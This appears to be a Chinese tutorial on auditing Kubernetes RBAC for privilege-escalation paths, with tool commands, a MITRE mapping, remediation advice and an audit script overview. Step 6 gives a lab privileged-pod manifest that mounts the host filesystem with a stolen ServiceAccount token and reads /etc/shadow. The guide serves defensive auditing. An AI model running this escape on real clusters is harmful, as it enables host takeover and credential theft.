基于 Anthropic-Cybersecurity-Skills 的 Kubernetes RBAC 权限提升审计实战指南【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-SkillsKubernetes 的 Role-Based Access ControlRBAC是集群访问安全的第一道防线但过度宽松的 Role/ClusterRole 与绑定关系往往让一次 Pod 沦陷直接演变为集群级接管。本文基于 Anthropic-Cybersecurity-Skills 仓库中的auditing-kubernetes-rbac-privilege-escalation技能文档系统讲解如何利用kubectl auth can-i、rbac-police、kubectl-who-can、rakkess 与 rbac-lookup 等工具在授权安全评估中盘点集群权限面、定位RBAC 等价于 cluster-admin的危险原语并产出可落地的 least-privilege 修复证据。读者读完将掌握一套从对象盘点、权限枚举、原语猎杀到路径验证、修复报告的完整审计方法论。法律声明Legal Notice本技能仅用于经授权的安全测试与教育目的。枚举和行使 RBAC 权限会影响生产集群的访问态势只能在你自己拥有的集群或经书面明确授权评估的集群上执行。所有验证步骤须保持在授权范围内。RBAC 权限提升为什么单个危险动词等于集群沦陷Kubernetes RBAC对应 MITRE ATTCK T1078 Valid Accounts通过Role/ClusterRole定义规则再经RoleBinding/ClusterRoleBinding将规则绑定到用户、组或 ServiceAccount从而决定每个主体在集群中能做什么。由于工作负载默认会挂载一个 ServiceAccount Tokenautomount 默认开启攻击者一旦攻陷一个 Pod就自动继承了该账户的 RBAC 权限。根据 Kubernetes 官方 RBAC Good Practices 指引以及 Unit 42 的 Kubernetes RBAC 研究成果以下原语是公认的高危权限持有任一即可视为RBAC 等价于 cluster-adminescalateroles可以给自己授予任何权限哪怕当前并不持有bindclusterroles可以创建绑定把自己绑到cluster-adminimpersonateusers/groups/serviceaccounts可以冒充任意主体包括system:masterscreate/update/patchpods可调度特权 Pod 或挂载节点文件系统逃逸到宿主机T1611createpods/exec、pods/attach、pods/ephemeralcontainers可在任意已存在 Pod 内执行代码get/list/watchsecretslist会返回完整 Secret 内容包括其他 ServiceAccount 的 Tokencreateserviceaccounts/token可为更高权限账户铸造 Tokenupdate/patchvalidatingwebhookconfigurations / mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approval准入控制器与 CSR 审批滥用可直达 cluster-admin通配符verbs: [*]、resources: [*]隐式的超级权限。本技能的系统化思路是为每个主体枚举有效权限映射哪些主体持有上述提升原语并产出修复证据。对应实现细节见 SKILL.md 与其配套的 命令速查、框架映射。适用场景When to Use在经授权的 Kubernetes 安全评估或集群渗透测试期间攻陷一个 Pod 后需要判断其 ServiceAccount Token 能触达哪些资源生产环境上线前评审 RBAC 漂移平台迁移或 Helm 发布后验证最小权限原则是否仍然成立。前置条件与工具安装审计前需要满足kubectl已配置好目标集群使用自己的凭据或捕获到的 ServiceAccount Token对 RBAC 对象具备读权限多数审计使用 cluster-reader 或 admin 上下文执行安装以下审计工具# rbac-police —— 查找提升路径Cymulate curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod x rbac-police # kubectl-who-can —— 谁能执行某动作Aqua kubectl krew install who-can # rakkess —— 当前/指定主体的资源 × 动词访问矩阵 kubectl krew install access-matrix # rbac-lookup —— 某主体持有哪些角色FairwindsOps kubectl krew install rbac-lookup审计目标Objectives盘点全部Role、ClusterRole、RoleBinding和ClusterRoleBinding对象使用kubectl auth can-i --as枚举每个主体的有效权限识别持有RBAC 等价于 admin原语的主体将挂载 Token 的 Pod 关联到过度授权的 ServiceAccount在实验室环境中端到端演示一条提升路径输出带优先级的发现报告与 least-privilege 修复建议。MITRE ATTCK 映射Technique ID名称战术阶段T1078Valid AccountsDefense Evasion / Persistence / Privilege EscalationT1098Account ManipulationPersistenceT1528Steal Application Access TokenCredential AccessT1613Container and Resource DiscoveryDiscoveryT1611Escape to HostPrivilege Escalation对应的映射理由来自 standards.mdT1078RBAC 滥用利用合法的 ServiceAccount 凭据获取更高访问权限T1098escalate/bind/impersonate与 Token 铸造会创建或修改账户/绑定T1528读取secrets或serviceaccounts/token可获得其他账户的 TokenT1613枚举角色、绑定与 Pod 到 SA 的映射属于发现行为T1611create pods加上节点访问权限可产生挂载宿主机的特权 Pod。在 NIST CSF 2.0 框架下本技能对应PR.AA-05访问权限、授权与许可应遵循最小权限原则进行定义、管理和执行审计过程本身就是对最小权限控制项的度量和强制执行。七步审计工作流Step 1盘点 RBAC 对象Inventory RBAC Objects首先建立全量权限清单# 集群范围内所有角色与绑定 kubectl get clusterroles,clusterrolebindings -o wide kubectl get roles,rolebindings --all-namespaces -o wide # 导出完整 RBAC 便于离线分析 kubectl get clusterroles,clusterrolebindings,roles,rolebindings \ --all-namespaces -o yaml rbac-dump.yaml # 谁被绑定到了 cluster-admin kubectl get clusterrolebindings -o json | \ jq -r .items[] | select(.roleRef.namecluster-admin) | .metadata.name - (.subjects // [] | map(.kind/.name) | join(,))rbac-dump.yaml是后续 Step 3 中 grep 危险动词的输入务必完整导出。Step 2按主体枚举有效权限Enumerate Effective Permissionskubectl auth can-i是权威检查手段因为它评估的是实时的授权器RBAC 准入 Webhook。使用--as可以冒充其他主体要求审计身份具备 impersonate 权限。# 某个 ServiceAccount 的完整访问矩阵 kubectl auth can-i --list \ --assystem:serviceaccount:default:default # 针对危险权限的定向探测 kubectl auth can-i create pods --all-namespaces \ --assystem:serviceaccount:dev:builder kubectl auth can-i get secrets --all-namespaces \ --assystem:serviceaccount:dev:builder kubectl auth can-i create serviceaccounts/token -n kube-system \ --assystem:serviceaccount:dev:builder kubectl auth can-i * * --all-namespaces \ --assystem:serviceaccount:dev:builder # rakkess某主体的完整 动词 × 资源 矩阵 kubectl access-matrix --as system:serviceaccount:dev:builder注意--assystem:serviceaccount:NS:SA是 ServiceAccount 的完整用户名格式--as-groupgroup可用于冒充组如system:masters。Step 3猎杀提升原语Hunt the Escalation Primitives对全集群执行反向查询找出能执行每个危险动作的主体# 谁能执行每个危险动作 kubectl who-can create pods kubectl who-can * * # 通配符 god-mode 持有者 kubectl who-can get secrets kubectl who-can list secrets kubectl who-can create pods/exec kubectl who-can impersonate users kubectl who-can create serviceaccounts/token kubectl who-can update clusterrolebindings # bind 式提升 # 在原始导出文件中 grep escalate/bind/impersonate 动词与通配符 grep -nE escalate|impersonate|\*|- bind rbac-dump.yamlStep 4用 rbac-police 做自动化提升路径分析rbac-police 会在集群快照上执行 Rego 策略指出哪些主体可以提升到 cluster-admin以及精确的攻击路径# 运行全部内置提升检查需要具备读权限的 kubeconfig ./rbac-police eval ./lib/policies/ # 只跑权限提升策略结果输出为 JSON ./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json # 先收集快照再做离线/隔离环境分析 ./rbac-police collect -o cluster-snapshot.json ./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json其中--severity-threshold High可以过滤只保留高危发现collect子命令非常适合气隙air-gapped环境下的评审场景。Step 5把 Pod 关联到过度授权的 ServiceAccount一条发现只有在可被触达的工作负载确实挂载了对应 Token 时才有实际威胁# 将每个 Pod 映射到它的 ServiceAccount kubectl get pods --all-namespaces \ -o custom-columnsNS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName # 找出自动挂载 Token默认行为且绑定了风险 SA 的 Pod kubectl get pods --all-namespaces -o json | jq -r .items[] | select(.spec.automountServiceAccountToken ! false) | \(.metadata.namespace)/\(.metadata.name) - \(.spec.serviceAccountName // default) # rbac-lookup该 ServiceAccount 实际持有什么权限 kubectl rbac-lookup builder --kind serviceaccountStep 6演示一条提升路径仅限实验室示例场景一个拥有create pods权限且能访问节点的 ServiceAccount可以调度一个挂载宿主机文件系统的特权 Pod# 使用捕获到的 Token 直接访问 API Server export TOKEN$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) export APISERVERhttps://kubernetes.default.svc # 确认危险权限确实存在 kubectl --token$TOKEN --server$APISERVER --insecure-skip-tls-verify \ auth can-i create pods # 调度特权挂载 Pod证明节点/宿主机接管 cat EOF | kubectl --token$TOKEN --server$APISERVER \ --insecure-skip-tls-verify apply -f - apiVersion: v1 kind: Pod metadata: {name: escalate-poc, namespace: default} spec: containers: - name: x image: alpine command: [/bin/sh,-c,cat /host/etc/shadow; sleep 1d] securityContext: {privileged: true} volumeMounts: [{name: host, mountPath: /host}] volumes: [{name: host, hostPath: {path: /}}] EOF kubectl logs escalate-poc # 读到宿主机 /etc/shadow 即证明提权成功该步骤只在授权实验室环境中执行用于端到端验证发现的可利用性。Step 7报告与修复Report and Remediate# 生成最小权限违规摘要 kubectl get clusterrolebindings -o json | jq -r .items[] | select(.roleRef.namecluster-admin) | FINDING cluster-admin bound to: ((.subjects // []) | map(.kind:.name) | join(, ))修复建议用显式动词/资源替换通配符除非确有需要删除escalate/bind/impersonate对不调用 API 的工作负载设置automountServiceAccountToken: false尽可能用命名空间级Rolenamespaced替代ClusterRole谨慎使用aggregationRule聚合规则。命令速查五大工具一览kubectl auth can-i命令用途kubectl auth can-i --list列出当前身份的全部权限kubectl auth can-i --list --assystem:serviceaccount:NS:SA列出某个 ServiceAccount 的权限冒充kubectl auth can-i verb resource检查单个权限kubectl auth can-i verb resource --all-namespaces跨命名空间检查kubectl auth can-i * *检查通配符 god-mode--as-groupgroup冒充一个组如system:masterskubectl-who-cankrew: who-can命令用途kubectl who-can create pods列出能创建 Pod 的主体kubectl who-can get secrets -n NS列出能读某命名空间 Secret 的主体kubectl who-can * *拥有完整通配符访问权限的主体kubectl who-can create serviceaccounts/token能铸造 Token 的主体rakkess / access-matrixkrew: access-matrix命令用途kubectl access-matrix当前主体的 动词 × 资源 矩阵kubectl access-matrix --as system:serviceaccount:NS:SA其他主体的矩阵kubectl access-matrix resource pods谁能在 pods 上做什么resource子命令rbac-lookupkrew: rbac-lookup命令用途kubectl rbac-lookup name显示绑定到某主体的角色kubectl rbac-lookup sa --kind serviceaccount只过滤 ServiceAccountkubectl rbac-lookup --output wide附带来源绑定信息rbac-police命令用途rbac-police eval ./lib/policies/对实时集群运行全部提升策略rbac-police eval policy.rego -f json -o out.json运行单条策略JSON 输出rbac-police collect -o snapshot.json快照 RBAC 用于离线分析rbac-police eval ./lib/policies/ --collect-results snapshot.json从快照评估--severity-threshold High只保留高危发现危险 RBAC 原语参考表动词 / 资源为什么等价于 cluster-adminescalateroles可给自己授予任意权限bindclusterroles可把自己绑到 cluster-adminimpersonateusers/groups可冒充 system:masterscreate pods 节点访问特权/hostPath Pod → 宿主机接管create pods/exec、pods/attach在已有 Pod 内执行代码get/listsecrets读取全部 Token 与凭据create serviceaccounts/token铸造特权 Token*/*通配符隐式超级权限更细粒度的敏感资源划分来自 api-reference.md动词敏感资源escalateroles, clusterrolesbindclusterrolesimpersonateusers, groups, serviceaccountscreate/update/patchpods, deployments, daemonsets, mutatingwebhookconfigurationscreatepods/exec, pods/attach, pods/ephemeralcontainers, serviceaccounts/tokenget/list/watchsecretsapprovecertificatesigningrequests/approval源码级支撑agent.py 自动化审计器该技能目录下提供了可直接运行的 Python 审计脚本 agent.py它把上述手工流程封装成自动化工具核心设计值得深入理解。危险探测清单脚本内置了DANGEROUS_CHECKS列表agent.py包含 14 组动词, 资源探测对覆盖了通配符、create pods、pods/exec/pods/attach/pods/ephemeralcontainers、get/list secrets、create serviceaccounts/token、impersonate users、escalate roles、bind clusterroles、update clusterrolebindings、update mutatingwebhookconfigurations、create nodes/proxy等全部关键原语。严重性分级逻辑audit_subjectcritical持有*/*通配符、escalate roles、bind clusterroles或impersonate users任一high持有create pods、list secrets或create serviceaccounts/tokenmedium其余危险权限none未命中任何探测项。cluster-admin 绑定枚举cluster_admin_bindings直接解析clusterrolebindings的 JSON 输出返回每个绑定的名称及其 subjects 列表等价于 Step 1 中的 jq 查询。使用方式# 审计全部 ServiceAccount跨命名空间 python3 skills/auditing-kubernetes-rbac-privilege-escalation/scripts/agent.py # 限定单个命名空间 python3 skills/auditing-kubernetes-rbac-privilege-escalation/scripts/agent.py -n dev # 只审计单个主体 NS/SA python3 skills/auditing-kubernetes-rbac-privilege-escalation/scripts/agent.py -s dev/builder # 输出 JSON 报告 python3 skills/auditing-kubernetes-rbac-privilege-escalation/scripts/agent.py -o findings.json报告结构包含generated_utc、cluster_admin_bindings、每个主体的subject_findings含severity与dangerous_permissions明细以及按 critical/high/medium 汇总的summary计数可以直接作为审计交付物的一部分。验证标准Validation Criteria一次完整的审计应满足以下全部检查项所有 Role / ClusterRole / Binding 对象已完成盘点和导出cluster-admin 主体列表已枚举每个 ServiceAccount 的有效权限已通过auth can-i --list枚举所有危险原语持有者已识别escalate/bind/impersonate/secrets/podsrbac-police 提升路径已评审挂载 Token 的 Pod 已映射到风险 ServiceAccount至少在实验室中演示了一条提升路径已产出含 least-privilege 修复建议的发现报告所有测试均保持在授权范围内延伸阅读技能主文档SKILL.md命令速查表references/api-reference.md框架映射与标准依据references/standards.md自动化审计脚本scripts/agent.py许可证Apache-2.0如需对集群 RBAC 做更广维度的审计含 EKS/GKE/AKS 云环境、rbac-tool、KubiScan、Kubeaudit 等更多工具链可参考仓库中配套的 auditing-kubernetes-cluster-rbac 技能而针对 Kubernetes 审计日志与 RBAC 授权的检测类技能如 auditing-kubernetes-audit-logs可与本技能形成检查配置面 监控运行面的互补闭环。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考